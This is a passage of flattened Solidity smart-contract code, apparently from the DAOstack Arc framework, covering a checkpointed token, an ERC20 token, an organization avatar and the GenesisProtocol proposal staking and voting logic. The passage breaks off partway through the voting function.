function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function balanceOfAt(address _owner, uint256 _blockNumber)
public view returns (uint256)
{
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint256 _blockNumber) public view returns(uint256) {
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function mint(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint256 previousBalanceTo = balanceOf(_user);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_user], previousBalanceTo + _amount);
emit Mint(_user, _amount);
return true;
}
function burn(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
uint256 amountBurned = _amount;
uint256 previousBalanceFrom = balanceOf(_user);
if (previousBalanceFrom < amountBurned) {
amountBurned = previousBalanceFrom;
}
updateValueAtNow(totalSupplyHistory, curTotalSupply - amountBurned);
updateValueAtNow(balances[_user], previousBalanceFrom - amountBurned);
emit Burn(_user, amountBurned);
return true;
}
function getValueAt(Checkpoint[] storage checkpoints, uint256 _block) internal view returns (uint256) {
if (checkpoints.length == 0) {
return 0;
}
if (_block >= checkpoints[checkpoints.length-1].fromBlock) {
return checkpoints[checkpoints.length-1].value;
}
if (_block < checkpoints[0].fromBlock) {
return 0;
}
uint256 min = 0;
uint256 max = checkpoints.length-1;
while (max > min) {
uint256 mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint256 _value) internal {
require(uint128(_value) == _value);
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
}
pragma solidity ^0.5.2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity ^0.5.2;
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
pragma solidity ^0.5.2;
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
pragma solidity ^0.5.4;
contract DAOToken is ERC20, ERC20Burnable, Ownable {
string public name;
string public symbol;
uint8 public constant decimals = 18;
uint256 public cap;
constructor(string memory _name, string memory _symbol, uint256 _cap)
public {
name = _name;
symbol = _symbol;
cap = _cap;
}
function mint(address _to, uint256 _amount) public onlyOwner returns (bool) {
if (cap > 0)
require(totalSupply().add(_amount) <= cap);
_mint(_to, _amount);
return true;
}
}
pragma solidity ^0.5.2;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
pragma solidity ^0.5.4;
library SafeERC20 {
using Address for address;
bytes4 constant private TRANSFER_SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)")));
bytes4 constant private TRANSFERFROM_SELECTOR = bytes4(keccak256(bytes("transferFrom(address,address,uint256)")));
bytes4 constant private APPROVE_SELECTOR = bytes4(keccak256(bytes("approve(address,uint256)")));
function safeTransfer(address _erc20Addr, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFER_SELECTOR, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeTransferFrom(address _erc20Addr, address _from, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFERFROM_SELECTOR, _from, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeApprove(address _erc20Addr, address _spender, uint256 _value) internal {
require(_erc20Addr.isContract());
require((_value == 0) || (IERC20(_erc20Addr).allowance(address(this), _spender) == 0));
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(APPROVE_SELECTOR, _spender, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
}
pragma solidity ^0.5.4;
contract Avatar is Ownable {
using SafeERC20 for address;
string public orgName;
DAOToken public nativeToken;
Reputation public nativeReputation;
event GenericCall(address indexed _contract, bytes _data, uint _value, bool _success);
event SendEther(uint256 _amountInWei, address indexed _to);
event ExternalTokenTransfer(address indexed _externalToken, address indexed _to, uint256 _value);
event ExternalTokenTransferFrom(address indexed _externalToken, address _from, address _to, uint256 _value);
event ExternalTokenApproval(address indexed _externalToken, address _spender, uint256 _value);
event ReceiveEther(address indexed _sender, uint256 _value);
event MetaData(string _metaData);
constructor(string memory _orgName, DAOToken _nativeToken, Reputation _nativeReputation) public {
orgName = _orgName;
nativeToken = _nativeToken;
nativeReputation = _nativeReputation;
}
function() external payable {
emit ReceiveEther(msg.sender, msg.value);
}
function genericCall(address _contract, bytes memory _data, uint256 _value)
public
onlyOwner
returns(bool success, bytes memory returnValue) {
(success, returnValue) = _contract.call.value(_value)(_data);
emit GenericCall(_contract, _data, _value, success);
}
function sendEther(uint256 _amountInWei, address payable _to) public onlyOwner returns(bool) {
_to.transfer(_amountInWei);
emit SendEther(_amountInWei, _to);
return true;
}
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransfer(_to, _value);
emit ExternalTokenTransfer(address(_externalToken), _to, _value);
return true;
}
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value
)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransferFrom(_from, _to, _value);
emit ExternalTokenTransferFrom(address(_externalToken), _from, _to, _value);
return true;
}
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeApprove(_spender, _value);
emit ExternalTokenApproval(address(_externalToken), _spender, _value);
return true;
}
function metaData(string memory _metaData) public onlyOwner returns(bool) {
emit MetaData(_metaData);
return true;
}
}
pragma solidity ^0.5.4;
contract UniversalSchemeInterface {
function getParametersFromController(Avatar _avatar) internal view returns(bytes32);
}
pragma solidity ^0.5.4;
contract GlobalConstraintInterface {
enum CallPhase { Pre, Post, PreAndPost }
function pre( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function post( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function when() public returns(CallPhase);
}
pragma solidity ^0.5.4;
interface ControllerInterface {
function mintReputation(uint256 _amount, address _to, address _avatar)
external
returns(bool);
function burnReputation(uint256 _amount, address _from, address _avatar)
external
returns(bool);
function mintTokens(uint256 _amount, address _beneficiary, address _avatar)
external
returns(bool);
function registerScheme(address _scheme, bytes32 _paramsHash, bytes4 _permissions, address _avatar)
external
returns(bool);
function unregisterScheme(address _scheme, address _avatar)
external
returns(bool);
function unregisterSelf(address _avatar) external returns(bool);
function addGlobalConstraint(address _globalConstraint, bytes32 _params, address _avatar)
external returns(bool);
function removeGlobalConstraint (address _globalConstraint, address _avatar)
external returns(bool);
function upgradeController(address _newController, Avatar _avatar)
external returns(bool);
function genericCall(address _contract, bytes calldata _data, Avatar _avatar, uint256 _value)
external
returns(bool, bytes memory);
function sendEther(uint256 _amountInWei, address payable _to, Avatar _avatar)
external returns(bool);
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value, Avatar _avatar)
external
returns(bool);
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value,
Avatar _avatar)
external
returns(bool);
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value, Avatar _avatar)
external
returns(bool);
function metaData(string calldata _metaData, Avatar _avatar) external returns(bool);
function getNativeReputation(address _avatar)
external
view
returns(address);
function isSchemeRegistered( address _scheme, address _avatar) external view returns(bool);
function getSchemeParameters(address _scheme, address _avatar) external view returns(bytes32);
function getGlobalConstraintParameters(address _globalConstraint, address _avatar) external view returns(bytes32);
function getSchemePermissions(address _scheme, address _avatar) external view returns(bytes4);
function globalConstraintsCount(address _avatar) external view returns(uint, uint);
function isGlobalConstraintRegistered(address _globalConstraint, address _avatar) external view returns(bool);
}
pragma solidity ^0.5.4;
contract UniversalScheme is UniversalSchemeInterface {
function getParametersFromController(Avatar _avatar) internal view returns(bytes32) {
require(ControllerInterface(_avatar.owner()).isSchemeRegistered(address(this), address(_avatar)),
"scheme is not registered");
return ControllerInterface(_avatar.owner()).getSchemeParameters(address(this), address(_avatar));
}
}
pragma solidity ^0.5.2;
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
if (signature.length != 65) {
return (address(0));
}
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return address(0);
}
if (v != 27 && v != 28) {
return address(0);
}
return ecrecover(hash, v, r, s);
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
pragma solidity ^0.5.4;
library RealMath {
uint256 constant private REAL_BITS = 256;
uint256 constant private REAL_FBITS = 40;
uint256 constant private REAL_ONE = uint256(1) << REAL_FBITS;
function pow(uint256 realBase, uint256 exponent) internal pure returns (uint256) {
uint256 tempRealBase = realBase;
uint256 tempExponent = exponent;
uint256 realResult = REAL_ONE;
while (tempExponent != 0) {
if ((tempExponent & 0x1) == 0x1) {
realResult = mul(realResult, tempRealBase);
}
tempExponent = tempExponent >> 1;
if (tempExponent != 0) {
tempRealBase = mul(tempRealBase, tempRealBase);
}
}
return realResult;
}
function fraction(uint216 numerator, uint216 denominator) internal pure returns (uint256) {
return div(uint256(numerator) * REAL_ONE, uint256(denominator) * REAL_ONE);
}
function mul(uint256 realA, uint256 realB) private pure returns (uint256) {
uint256 res = realA * realB;
require(res/realA == realB, "RealMath mul overflow");
return (res >> REAL_FBITS);
}
function div(uint256 realNumerator, uint256 realDenominator) private pure returns (uint256) {
return uint256((uint256(realNumerator) * REAL_ONE) / uint256(realDenominator));
}
}
pragma solidity ^0.5.4;
interface ProposalExecuteInterface {
function executeProposal(bytes32 _proposalId, int _decision) external returns(bool);
}
pragma solidity ^0.5.2;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
pragma solidity ^0.5.4;
contract GenesisProtocolLogic is IntVoteInterface {
using SafeMath for uint256;
using Math for uint256;
using RealMath for uint216;
using RealMath for uint256;
using Address for address;
enum ProposalState { None, ExpiredInQueue, Executed, Queued, PreBoosted, Boosted, QuietEndingPeriod}
enum ExecutionState { None, QueueBarCrossed, QueueTimeOut, PreBoostedBarCrossed, BoostedTimeOut, BoostedBarCrossed}
struct Parameters {
uint256 queuedVoteRequiredPercentage;
uint256 queuedVotePeriodLimit;
uint256 boostedVotePeriodLimit;
uint256 preBoostedVotePeriodLimit;
uint256 thresholdConst;
uint256 limitExponentValue;
uint256 quietEndingPeriod;
uint256 proposingRepReward;
uint256 votersReputationLossRatio;
uint256 minimumDaoBounty;
uint256 daoBountyConst;
uint256 activationTime;
address voteOnBehalf;
}
struct Voter {
uint256 vote;
uint256 reputation;
bool preBoosted;
}
struct Staker {
uint256 vote;
uint256 amount;
uint256 amount4Bounty;
}
struct Proposal {
bytes32 organizationId;
address callbacks;
ProposalState state;
uint256 winningVote;
address proposer;
uint256 currentBoostedVotePeriodLimit;
bytes32 paramsHash;
uint256 daoBountyRemain;
uint256 daoBounty;
uint256 totalStakes;
uint256 confidenceThreshold;
uint256 expirationCallBountyPercentage;
uint[3] times;
bool daoRedeemItsWinnings;
mapping(uint256 => uint256 ) votes;
mapping(uint256 => uint256 ) preBoostedVotes;
mapping(address => Voter ) voters;
mapping(uint256 => uint256 ) stakes;
mapping(address => Staker ) stakers;
}
event Stake(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _staker,
uint256 _vote,
uint256 _amount
);
event Redeem(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event RedeemDaoBounty(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event RedeemReputation(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event StateChange(bytes32 indexed _proposalId, ProposalState _proposalState);
event GPExecuteProposal(bytes32 indexed _proposalId, ExecutionState _executionState);
event ExpirationCallBounty(bytes32 indexed _proposalId, address indexed _beneficiary, uint256 _amount);
event ConfidenceLevelChange(bytes32 indexed _proposalId, uint256 _confidenceThreshold);
mapping(bytes32=>Parameters) public parameters;
mapping(bytes32=>Proposal) public proposals;
mapping(bytes32=>uint) public orgBoostedProposalsCnt;
mapping(bytes32 => address ) public organizations;
mapping(bytes32 => uint256 ) public averagesDownstakesOfBoosted;
uint256 constant public NUM_OF_CHOICES = 2;
uint256 constant public NO = 2;
uint256 constant public YES = 1;
uint256 public proposalsCnt;
IERC20 public stakingToken;
address constant private GEN_TOKEN_ADDRESS = 0x543Ff227F64Aa17eA132Bf9886cAb5DB55DCAddf;
uint256 constant private MAX_BOOSTED_PROPOSALS = 4096;
constructor(IERC20 _stakingToken) public {
if (address(GEN_TOKEN_ADDRESS).isContract()) {
stakingToken = IERC20(GEN_TOKEN_ADDRESS);
} else {
stakingToken = _stakingToken;
}
}
modifier votable(bytes32 _proposalId) {
require(_isVotable(_proposalId));
_;
}
function propose(uint256, bytes32 _paramsHash, address _proposer, address _organization)
external
returns(bytes32)
{
require(now > parameters[_paramsHash].activationTime, "not active yet");
require(parameters[_paramsHash].queuedVoteRequiredPercentage >= 50);
bytes32 proposalId = keccak256(abi.encodePacked(this, proposalsCnt));
proposalsCnt = proposalsCnt.add(1);
Proposal memory proposal;
proposal.callbacks = msg.sender;
proposal.organizationId = keccak256(abi.encodePacked(msg.sender, _organization));
proposal.state = ProposalState.Queued;
proposal.times[0] = now;
proposal.currentBoostedVotePeriodLimit = parameters[_paramsHash].boostedVotePeriodLimit;
proposal.proposer = _proposer;
proposal.winningVote = NO;
proposal.paramsHash = _paramsHash;
if (organizations[proposal.organizationId] == address(0)) {
if (_organization == address(0)) {
organizations[proposal.organizationId] = msg.sender;
} else {
organizations[proposal.organizationId] = _organization;
}
}
uint256 daoBounty =
parameters[_paramsHash].daoBountyConst.mul(averagesDownstakesOfBoosted[proposal.organizationId]).div(100);
if (daoBounty < parameters[_paramsHash].minimumDaoBounty) {
proposal.daoBountyRemain = parameters[_paramsHash].minimumDaoBounty;
} else {
proposal.daoBountyRemain = daoBounty;
}
proposal.totalStakes = proposal.daoBountyRemain;
proposals[proposalId] = proposal;
proposals[proposalId].stakes[NO] = proposal.daoBountyRemain;
emit NewProposal(proposalId, organizations[proposal.organizationId], NUM_OF_CHOICES, _proposer, _paramsHash);
return proposalId;
}
function executeBoosted(bytes32 _proposalId) external returns(uint256 expirationCallBounty) {
Proposal storage proposal = proposals[_proposalId];
require(proposal.state == ProposalState.Boosted || proposal.state == ProposalState.QuietEndingPeriod,
"proposal state in not Boosted nor QuietEndingPeriod");
require(_execute(_proposalId), "proposal need to expire");
uint256 expirationCallBountyPercentage =
(uint(1).add(now.sub(proposal.currentBoostedVotePeriodLimit.add(proposal.times[1])).div(15)));
if (expirationCallBountyPercentage > 100) {
expirationCallBountyPercentage = 100;
}
proposal.expirationCallBountyPercentage = expirationCallBountyPercentage;
expirationCallBounty = expirationCallBountyPercentage.mul(proposal.stakes[YES]).div(100);
require(stakingToken.transfer(msg.sender, expirationCallBounty), "transfer to msg.sender failed");
emit ExpirationCallBounty(_proposalId, msg.sender, expirationCallBounty);
}
function setParameters(
uint[11] calldata _params,
address _voteOnBehalf
)
external
returns(bytes32)
{
require(_params[0] <= 100 && _params[0] >= 50, "50 <= queuedVoteRequiredPercentage <= 100");
require(_params[4] <= 16000 && _params[4] > 1000, "1000 < thresholdConst <= 16000");
require(_params[7] <= 100, "votersReputationLossRatio <= 100");
require(_params[2] >= _params[5], "boostedVotePeriodLimit >= quietEndingPeriod");
require(_params[8] > 0, "minimumDaoBounty should be > 0");
require(_params[9] > 0, "daoBountyConst should be > 0");
bytes32 paramsHash = getParametersHash(_params, _voteOnBehalf);
uint256 limitExponent = 172;
uint256 j = 2;
for (uint256 i = 2000; i < 16000; i = i*2) {
if ((_params[4] > i) && (_params[4] <= i*2)) {
limitExponent = limitExponent/j;
break;
}
j++;
}
parameters[paramsHash] = Parameters({
queuedVoteRequiredPercentage: _params[0],
queuedVotePeriodLimit: _params[1],
boostedVotePeriodLimit: _params[2],
preBoostedVotePeriodLimit: _params[3],
thresholdConst:uint216(_params[4]).fraction(uint216(1000)),
limitExponentValue:limitExponent,
quietEndingPeriod: _params[5],
proposingRepReward: _params[6],
votersReputationLossRatio:_params[7],
minimumDaoBounty:_params[8],
daoBountyConst:_params[9],
activationTime:_params[10],
voteOnBehalf:_voteOnBehalf
});
return paramsHash;
}
function redeem(bytes32 _proposalId, address _beneficiary) public returns (uint[3] memory rewards) {
Proposal storage proposal = proposals[_proposalId];
require((proposal.state == ProposalState.Executed)||(proposal.state == ProposalState.ExpiredInQueue),
"Proposal should be Executed or ExpiredInQueue");
Parameters memory params = parameters[proposal.paramsHash];
uint256 lostReputation;
if (proposal.winningVote == YES) {
lostReputation = proposal.preBoostedVotes[NO];
} else {
lostReputation = proposal.preBoostedVotes[YES];
}
lostReputation = (lostReputation.mul(params.votersReputationLossRatio))/100;
Staker storage staker = proposal.stakers[_beneficiary];
uint256 totalStakes = proposal.stakes[NO].add(proposal.stakes[YES]);
uint256 totalWinningStakes = proposal.stakes[proposal.winningVote];
if (staker.amount > 0) {
uint256 totalStakesLeftAfterCallBounty =
totalStakes.sub(proposal.expirationCallBountyPercentage.mul(proposal.stakes[YES]).div(100));
if (proposal.state == ProposalState.ExpiredInQueue) {
rewards[0] = staker.amount;
} else if (staker.vote == proposal.winningVote) {
if (staker.vote == YES) {
if (proposal.daoBounty < totalStakesLeftAfterCallBounty) {
uint256 _totalStakes = totalStakesLeftAfterCallBounty.sub(proposal.daoBounty);
rewards[0] = (staker.amount.mul(_totalStakes))/totalWinningStakes;
}
} else {
rewards[0] = (staker.amount.mul(totalStakesLeftAfterCallBounty))/totalWinningStakes;
}
}
staker.amount = 0;
}
if (proposal.daoRedeemItsWinnings == false &&
_beneficiary == organizations[proposal.organizationId] &&
proposal.state != ProposalState.ExpiredInQueue &&
proposal.winningVote == NO) {
rewards[0] =
rewards[0].add((proposal.daoBounty.mul(totalStakes))/totalWinningStakes).sub(proposal.daoBounty);
proposal.daoRedeemItsWinnings = true;
}
Voter storage voter = proposal.voters[_beneficiary];
if ((voter.reputation != 0) && (voter.preBoosted)) {
if (proposal.state == ProposalState.ExpiredInQueue) {
rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100);
} else if (proposal.winningVote == voter.vote) {
rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100)
.add((voter.reputation.mul(lostReputation))/proposal.preBoostedVotes[proposal.winningVote]);
}
voter.reputation = 0;
}
if ((proposal.proposer == _beneficiary)&&(proposal.winningVote == YES)&&(proposal.proposer != address(0))) {
rewards[2] = params.proposingRepReward;
proposal.proposer = address(0);
}
if (rewards[0] != 0) {
proposal.totalStakes = proposal.totalStakes.sub(rewards[0]);
require(stakingToken.transfer(_beneficiary, rewards[0]), "transfer to beneficiary failed");
emit Redeem(_proposalId, organizations[proposal.organizationId], _beneficiary, rewards[0]);
}
if (rewards[1].add(rewards[2]) != 0) {
VotingMachineCallbacksInterface(proposal.callbacks)
.mintReputation(rewards[1].add(rewards[2]), _beneficiary, _proposalId);
emit RedeemReputation(
_proposalId,
organizations[proposal.organizationId],
_beneficiary,
rewards[1].add(rewards[2])
);
}
}
function redeemDaoBounty(bytes32 _proposalId, address _beneficiary)
public
returns(uint256 redeemedAmount, uint256 potentialAmount) {
Proposal storage proposal = proposals[_proposalId];
require(proposal.state == ProposalState.Executed);
uint256 totalWinningStakes = proposal.stakes[proposal.winningVote];
Staker storage staker = proposal.stakers[_beneficiary];
if (
(staker.amount4Bounty > 0)&&
(staker.vote == proposal.winningVote)&&
(proposal.winningVote == YES)&&
(totalWinningStakes != 0)) {
potentialAmount = (staker.amount4Bounty * proposal.daoBounty)/totalWinningStakes;
}
if ((potentialAmount != 0)&&
(VotingMachineCallbacksInterface(proposal.callbacks)
.balanceOfStakingToken(stakingToken, _proposalId) >= potentialAmount)) {
staker.amount4Bounty = 0;
proposal.daoBountyRemain = proposal.daoBountyRemain.sub(potentialAmount);
require(
VotingMachineCallbacksInterface(proposal.callbacks)
.stakingTokenTransfer(stakingToken, _beneficiary, potentialAmount, _proposalId));
redeemedAmount = potentialAmount;
emit RedeemDaoBounty(_proposalId, organizations[proposal.organizationId], _beneficiary, redeemedAmount);
}
}
function shouldBoost(bytes32 _proposalId) public view returns(bool) {
Proposal memory proposal = proposals[_proposalId];
return (_score(_proposalId) > threshold(proposal.paramsHash, proposal.organizationId));
}
function threshold(bytes32 _paramsHash, bytes32 _organizationId) public view returns(uint256) {
uint256 power = orgBoostedProposalsCnt[_organizationId];
Parameters storage params = parameters[_paramsHash];
if (power > params.limitExponentValue) {
power = params.limitExponentValue;
}
return params.thresholdConst.pow(power);
}
function getParametersHash(
uint[11] memory _params,
address _voteOnBehalf
)
public
pure
returns(bytes32)
{
return keccak256(
abi.encodePacked(
keccak256(
abi.encodePacked(
_params[0],
_params[1],
_params[2],
_params[3],
_params[4],
_params[5],
_params[6],
_params[7],
_params[8],
_params[9],
_params[10])
),
_voteOnBehalf
));
}
function _execute(bytes32 _proposalId) internal votable(_proposalId) returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
Proposal memory tmpProposal = proposal;
uint256 totalReputation =
VotingMachineCallbacksInterface(proposal.callbacks).getTotalReputationSupply(_proposalId);
uint256 executionBar = (totalReputation/100) * params.queuedVoteRequiredPercentage;
ExecutionState executionState = ExecutionState.None;
uint256 averageDownstakesOfBoosted;
uint256 confidenceThreshold;
if (proposal.votes[proposal.winningVote] > executionBar) {
if (proposal.state == ProposalState.Queued) {
executionState = ExecutionState.QueueBarCrossed;
} else if (proposal.state == ProposalState.PreBoosted) {
executionState = ExecutionState.PreBoostedBarCrossed;
} else {
executionState = ExecutionState.BoostedBarCrossed;
}
proposal.state = ProposalState.Executed;
} else {
if (proposal.state == ProposalState.Queued) {
if ((now - proposal.times[0]) >= params.queuedVotePeriodLimit) {
proposal.state = ProposalState.ExpiredInQueue;
proposal.winningVote = NO;
executionState = ExecutionState.QueueTimeOut;
} else {
confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId);
if (_score(_proposalId) > confidenceThreshold) {
proposal.state = ProposalState.PreBoosted;
proposal.times[2] = now;
proposal.confidenceThreshold = confidenceThreshold;
}
}
}
if (proposal.state == ProposalState.PreBoosted) {
confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId);
if ((now - proposal.times[2]) >= params.preBoostedVotePeriodLimit) {
if ((_score(_proposalId) > confidenceThreshold) &&
(orgBoostedProposalsCnt[proposal.organizationId] < MAX_BOOSTED_PROPOSALS)) {
proposal.state = ProposalState.Boosted;
proposal.times[1] = now;
orgBoostedProposalsCnt[proposal.organizationId]++;
averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId];
averagesDownstakesOfBoosted[proposal.organizationId] =
uint256(int256(averageDownstakesOfBoosted) +
((int256(proposal.stakes[NO])-int256(averageDownstakesOfBoosted))/
int256(orgBoostedProposalsCnt[proposal.organizationId])));
}
} else {
uint256 proposalScore = _score(_proposalId);
if (proposalScore <= proposal.confidenceThreshold.min(confidenceThreshold)) {
proposal.state = ProposalState.Queued;
} else if (proposal.confidenceThreshold > proposalScore) {
proposal.confidenceThreshold = confidenceThreshold;
emit ConfidenceLevelChange(_proposalId, confidenceThreshold);
}
}
}
}
if ((proposal.state == ProposalState.Boosted) ||
(proposal.state == ProposalState.QuietEndingPeriod)) {
if ((now - proposal.times[1]) >= proposal.currentBoostedVotePeriodLimit) {
proposal.state = ProposalState.Executed;
executionState = ExecutionState.BoostedTimeOut;
}
}
if (executionState != ExecutionState.None) {
if ((executionState == ExecutionState.BoostedTimeOut) ||
(executionState == ExecutionState.BoostedBarCrossed)) {
orgBoostedProposalsCnt[tmpProposal.organizationId] =
orgBoostedProposalsCnt[tmpProposal.organizationId].sub(1);
uint256 boostedProposals = orgBoostedProposalsCnt[tmpProposal.organizationId];
if (boostedProposals == 0) {
averagesDownstakesOfBoosted[proposal.organizationId] = 0;
} else {
averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId];
averagesDownstakesOfBoosted[proposal.organizationId] =
(averageDownstakesOfBoosted.mul(boostedProposals+1).sub(proposal.stakes[NO]))/boostedProposals;
}
}
emit ExecuteProposal(
_proposalId,
organizations[proposal.organizationId],
proposal.winningVote,
totalReputation
);
emit GPExecuteProposal(_proposalId, executionState);
ProposalExecuteInterface(proposal.callbacks).executeProposal(_proposalId, int(proposal.winningVote));
proposal.daoBounty = proposal.daoBountyRemain;
}
if (tmpProposal.state != proposal.state) {
emit StateChange(_proposalId, proposal.state);
}
return (executionState != ExecutionState.None);
}
function _stake(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _staker) internal returns(bool) {
require(_vote <= NUM_OF_CHOICES && _vote > 0, "wrong vote value");
require(_amount > 0, "staking amount should be >0");
if (_execute(_proposalId)) {
return true;
}
Proposal storage proposal = proposals[_proposalId];
if ((proposal.state != ProposalState.PreBoosted) &&
(proposal.state != ProposalState.Queued)) {
return false;
}
Staker storage staker = proposal.stakers[_staker];
if ((staker.amount > 0) && (staker.vote != _vote)) {
return false;
}
uint256 amount = _amount;
require(stakingToken.transferFrom(_staker, address(this), amount), "fail transfer from staker");
proposal.totalStakes = proposal.totalStakes.add(amount);
staker.amount = staker.amount.add(amount);
require(staker.amount <= 0x100000000000000000000000000000000, "staking amount is too high");
require(proposal.totalStakes <= 0x100000000000000000000000000000000, "total stakes is too high");
if (_vote == YES) {
staker.amount4Bounty = staker.amount4Bounty.add(amount);
}
staker.vote = _vote;
proposal.stakes[_vote] = amount.add(proposal.stakes[_vote]);
emit Stake(_proposalId, organizations[proposal.organizationId], _staker, _vote, _amount);
return _execute(_proposalId);
}
function internalVote(bytes32 _proposalId, address _voter, uint256 _vote, uint256 _rep) internal returns(bool) {
require(_vote <= NUM_OF_CHOICES && _vote > 0, "0 < _vote <= 2");
if (_execute(_proposalId)) {
return true;
}
